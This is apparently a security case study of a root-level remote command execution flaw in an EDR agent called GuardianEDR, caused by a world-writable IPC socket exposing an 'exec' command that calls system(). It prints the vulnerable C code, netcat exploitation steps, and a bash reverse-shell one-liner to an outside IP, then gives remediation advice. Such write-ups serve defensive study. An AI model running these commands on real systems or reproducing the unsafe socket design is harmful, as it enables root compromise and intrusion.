🛡️ Case Study: Full System Compromise via GuardianEDR IPC Socket (Critical RCE Vulnerability)
📌 Executive Summary
During a deep-dive security assessment of the SentinelX Dashboard and its endpoint component GuardianEDR Agent, a critical Remote Command Execution (RCE) vulnerability was discovered that enabled complete system takeover (root-level) on Linux endpoints.
The vulnerability resulted from several insecure design decisions:
- World-writable UNIX socket used for IPC
- Unsafe “exec” command directly exposed to users
- GuardianEDR Agent running with root privileges
- No authentication or ACL validation
This flaw allowed attackers to perform EDR bypass, unauthorized root command execution, remote shells, and lateral movement.
🏗️ Background
The assessment environment consisted of two main components:
🔹 1. SentinelX Dashboard (Web Interface)
Provided analysts with threat insights, YARA rules, file intelligence, and user management.
🔹 2. GuardianEDR Agent (Linux Binary)
A lightweight EDR with capabilities such as IP blocking, file scanning, logging, and quarantining.
During endpoint enumeration, the following IPC socket was discovered:
/var/lib/edr/edr.sock
🧨 Root Cause Analysis
🔥 World-Writable Socket
The agent initialized the socket with:
chmod(sock_path, 0666);
This allowed any local user to communicate with the root-privileged EDR agent.
⚠️ Dangerous “exec” Command
else if (strcmp(cmd, "exec") == 0) {
system(arg1);
write(client_fd, "Command executed\n", 17);
}
This executes attacker-controlled commands as root without validation.
🔍 Step-by-Step Exploitation
Step 1 — Verify Socket Access
echo "list_ips" | nc -U /var/lib/edr/edr.sock
Returns blocked IPs, confirming full access.
Step 2 — Execute Arbitrary Commands (RCE)
echo "exec id" | nc -U /var/lib/edr/edr.sock
Executed as root.
Step 3 — Spawn a Reverse Shell
nc -lvnp 4444
echo "exec bash -c 'bash -i >& /dev/tcp/10.3.174.31/4444 0>&1'" \ | nc -U /var/lib/edr/edr.sock
Result: Immediate root shell.
🎯 Impact Analysis
- Full root compromise of endpoints
- EDR bypass (complete control of agent)
- Log tampering and evasion
- Quarantine manipulation to plant/remove files
- Lateral movement via harvested credentials
🛠 Recommendations
- Set socket permissions to
0600 - Remove the exec functionality
- Implement authentication on IPC operations
- Run agent with non-root privileges
- Whitelist and validate all IPC input
📥 Conclusion
This case study highlights how an insecure IPC socket paired with unsafe command execution can completely undermine an endpoint security solution. Strong authentication, least-privilege principles, and secure coding standards are essential for EDR and AV agents.